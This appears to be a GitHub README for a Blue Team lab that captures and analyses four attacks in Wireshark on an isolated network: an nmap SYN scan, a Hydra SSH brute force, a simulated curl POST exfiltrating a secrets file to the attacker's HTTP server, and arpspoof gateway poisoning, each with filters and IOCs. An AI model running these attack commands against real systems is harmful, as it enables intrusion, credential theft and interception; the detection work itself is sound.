ruancarlosrc/wireshark-traffic-analysis-lab
GitHub: ruancarlosrc/wireshark-traffic-analysis-lab
一个基于 Wireshark 的网络流量分析实践实验室,涵盖端口扫描、SSH 暴力破解、HTTP 数据渗出和 ARP 欺骗四个攻击场景的检测与 IOC 提取。
Stars: 0 | Forks: 0
# 🦈 Wireshark — 流量捕获与分析 | 异常检测
使用 Wireshark 进行网络流量分析的实践实验室,涵盖实时捕获、显示过滤器以及在隔离环境中检测 4 个真实攻击场景。
## 🖥️ 实验室拓扑
```
┌─────────────────────┐ Host-Only Network ┌─────────────────────┐
│ Kali Linux │ 192.168.56.0/24 (vboxnet0) │ Windows 10 │
│ 192.168.56.104 │ ◄──────────────────────────────► │ 192.168.56.105 │
│ (atacante) │ │ (alvo) │
└─────────────────────┘ └─────────────────────┘
```
| 机器 | 操作系统 | IP | 角色 |
|---|---|---|---|
| Kali Linux 2025.4 | 基于 Debian | 192.168.56.104 | 攻击者 / 分析师 |
| Windows 10 | Windows | 192.168.56.105 | 目标 |
## 🛠️ 使用的工具
| 工具 | 版本 | 用途 |
|---|---|---|
| Wireshark | 4.x | 数据包捕获与分析 |
| nmap | 7.x | 端口扫描 |
| Hydra | 9.6 | SSH 暴力破解 |
| arpspoof (dsniff) | 2.4 | ARP 欺骗 / MitM |
| Python3 http.server | 3.x | 用于接收数据渗出的 HTTP 服务器 |
## 📋 使用的显示过滤器
| 过滤器 | 用途 |
|---|---|
| `icmp` | 隔离 ICMP 流量 (ping sweep) |
| `tcp.flags.syn==1 && tcp.flags.ack==0` | 检测 SYN 扫描 / 端口扫描 |
| `tcp.flags.syn==1 && tcp.flags.ack==1` | 识别开放端口 (SYN-ACK) |
| `tcp.flags.reset==1` | 主动响应为关闭的端口 |
| `tcp.port == 22` | 隔离 SSH 流量 |
| `ssh` | 查看 SSHv2 会话 |
| `http.request.method == "POST"` | 检测上传 / HTTP 数据渗出 |
| `arp` | 检测 ARP 欺骗 / gratuitous ARP |
## 🔬 检测场景
### 场景 1 — 端口扫描 (nmap SYN Scan)
**目标:** 识别网络流量中的端口扫描特征。
**使用的命令:**
```
sudo nmap -sS 192.168.56.105
sudo nmap -sS -p 3389 192.168.56.105
```
**应用的过滤器:**
```
tcp.flags.syn==1 && tcp.flags.ack==0
```
**证据:**


**识别到的 IOC:**
| 字段 | 值 |
|---|---|
| 源 IP | 192.168.56.104 (Kali) |
| 目标 IP | 192.168.56.105 (Windows) |
| 模式 | 在短时间内向不同端口连续发送约 1000 个 SYN 数据包 |
| 检测到的开放端口 | 3389 (RDP) — 响应 SYN-ACK |
| 带 RST 的端口 | 7 个端口主动响应为关闭 |
| 其余 | 静默 — 被防火墙丢弃 (filtered) |
**分析:** SYN 扫描向每个端口发送一个 SYN,而不完成 TCP 握手。在短时间内,来自同一源 IP 针对顺序或随机端口发送数百个 SYN 的模式是扫描的主要特征。在 SIEM 中,阈值规则(例如:同一 IP >100 SYN/秒)将立即触发警报。
### 场景 2 — SSH 暴力破解 (Hydra)
**目标:** 检测针对 22 端口的自动化暴力破解身份验证尝试。
**使用的命令:**
```
hydra -l administrator -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.105 -t 4
```
**应用的过滤器:**
```
tcp.port == 22
ssh
```
**证据:**


**识别到的 IOC:**
| 字段 | 值 |
|---|---|
| 源 IP | 192.168.56.104 (Kali) |
| 目标 IP | 192.168.56.105:22 (Windows) |
| 模式 | 几分钟内在 22 端口发起 1800+ 个不同的 TCP 连接 |
| 流量 | 捕获了 80,000+ 个 SSH 数据包 |
| IO Graph | 持续 600+ 秒保持 150–200 个数据包/秒的恒定峰值 |
| 内容 | 加密数据包 — 凭据不可见,但巨大的流量暴露了攻击 |
**分析:** SSHv2 对内容进行加密,使得测试的密码不可见。然而,22 端口上快速打开和关闭的 TCP 连接的容量和频率足以用于检测。IO Graph 显示了一个均匀且持续的峰值 — 这在合法使用中是不可能的模式。检测规则:同一 IP 在 Y 秒内发起 >X 次 SSH 连接。
### 场景 3 — 通过 HTTP 进行数据渗出
**目标:** 拦截通过明文 HTTP 协议传输的敏感数据。
**使用的命令:**
```
# Kali — 接收服务器
python3 -m http.server 8080
```
```
# Windows — 文件发送(模拟 exfiltration)
curl -Method Post -Uri "http://192.168.56.104:8080" -InFile "C:\Users\Public\secrets.txt"
```
**应用的过滤器:**
```
http.request.method == "POST"
```
**证据:**

**识别到的 IOC:**
| 字段 | 值 |
|---|---|
| 源 IP | 192.168.56.105 (Windows — 受害者) |
| 目标 IP | 192.168.56.104:8080 (Kali — 攻击者服务器) |
| 协议 | 明文 HTTP POST (无加密) |
| 拦截到的内容 | `usuario: admin \| senha: P@ssw0rd123 \| servidor: 192.168.56.105` |
| 分析技术 | Follow → TCP Stream |
**分析:** 任何通过纯 HTTP 传输的数据对于任何处于捕获位置的主机在网络中都是完全可见的。使用 **Follow TCP Stream** 重构了完整的会话,揭示了明文凭据。在真实环境中,敏感数据必须仅通过 HTTPS/TLS 传输。检测基于异常的目标、非标准端口 (8080) 以及带有非标准 payload 的 POST 方法。
### 场景 4 — ARP 欺骗 (MitM)
**目标:** 检测旨在实现中间人 (Man-in-the-Middle) 定位的 ARP 表中毒。
**使用的命令:**
```
sudo arpspoof -i eth0 -t 192.168.56.105 192.168.56.1
```
**应用的过滤器:**
```
arp
```
**证据:**


**识别到的 IOC:**
| 字段 | 值 |
|---|---|
| 源 IP | 192.168.56.104 (Kali) |
| 目标 | 192.168.56.105 (Windows) |
| Sender MAC | 08:00:27:63:b0:05 (Kali 的 MAC) |
| 伪造的 Sender IP | 192.168.56.1 (网络网关) |
| 模式 | 每 ~2 秒发送一次未经请求的 ARP Replies |
| 后果 | Windows 更新 ARP 表 — 所有发往网关的流量都经过 Kali |
**分析:** ARP 没有身份验证机制。arpspoof 重复发送无偿的(未经请求的)ARP Replies,将 Kali 的 MAC 与网关的 IP 关联起来。当 Windows 接受此关联时,它开始将所有发往网关的流量首先发送给 Kali — 典型的 MitM 位置。在 Wireshark 中的检测基于矛盾点:同一个 MAC 响应不同的 IP,或者同一个 IP 在序列中被不同的 MAC 宣告。
## 📊 IOC 汇总
| 场景 | 协议 | 关键过滤器 | 检测到的模式 |
|---|---|---|---|
| 端口扫描 | TCP | `tcp.flags.syn==1 && tcp.flags.ack==0` | 几秒内针对不同端口的 1000+ 个 SYN |
| SSH 暴力破解 | TCP/SSHv2 | `tcp.port == 22` | 几分钟内在 22 端口上的 1800+ 个连接 |
| HTTP 数据渗出 | HTTP | `http.request.method == "POST"` | POST 到外部 IP,明文凭据 |
| ARP 欺骗 | ARP | `arp` | 未经请求的 Replies,伪造网关的 MAC |
## 📁 收集的证据
| 文件 | 场景 |
|---|---|
| `captura_de_pacotes_icmp_com_o_wireshark.png` | 阶段 2 — 基础 ICMP 捕获 |
| `estatisticas_de_protocolos.png` | 阶段 2 — Protocol Hierarchy |
| `pacotes_SYN_gerados_pelo_scann_do__nmap.png` | 场景 1 — 端口扫描 |
| `portas_em_que_o_windows_respondeu_ativamente_como_fechadas.png` | 场景 1 — RST |
| `captura_de_pacotes_de_brute_force_no_ssh_windows.png` | 场景 2 — 暴力破解 |
| `IO_graphics_do_brute_force.png` | 场景 2 — IO Graph |
| `credenciais_capturadas.png` | 场景 3 — 数据渗出 |
| `alta_frequencia_de_protocolos_arp_capturados.png` | 场景 4 — ARP 欺骗 |
| `analise_de_pacote_gereado_pelo_arpspoof.png` | 场景 4 — ARP 数据包详情 |
## 🎯 主要心得
- Wireshark 的显示过滤器允许在海量捕获中快速隔离恶意流量
- 即使内容已加密 (SSH 暴力破解),连接的数量和频率也会暴露自动化攻击
- 没有 TLS 的 HTTP 会完全暴露凭据 — Follow TCP Stream 可重构整个会话
- ARP 没有原生的身份验证 — 网络上的任何主机都可以毫无阻碍地毒化 ARP 表
- Statistics → IO Graph 和 Conversations 是识别容量异常最快的工具
## 🔗 参考
- [Wireshark 显示过滤器](https://wiki.wireshark.org/DisplayFilters)
- [Wireshark 过滤器参考](https://www.wireshark.org/docs/dfref/)
- [nmap SYN 扫描](https://nmap.org/book/synscan.html)
- [THC Hydra](https://github.com/vanhauser-thc/thc-hydra)
*此实验室作为 Blue Team/SOC 路线图的一部分开发 — 作品集见 [github.com/ruancarlosrc](https://github.com/ruancarlosrc)*
标签:PoC, Wireshark, 中间人攻击, 句柄查看, 插件系统, 暴力破解, 网络安全, 防御绕过, 隐私保护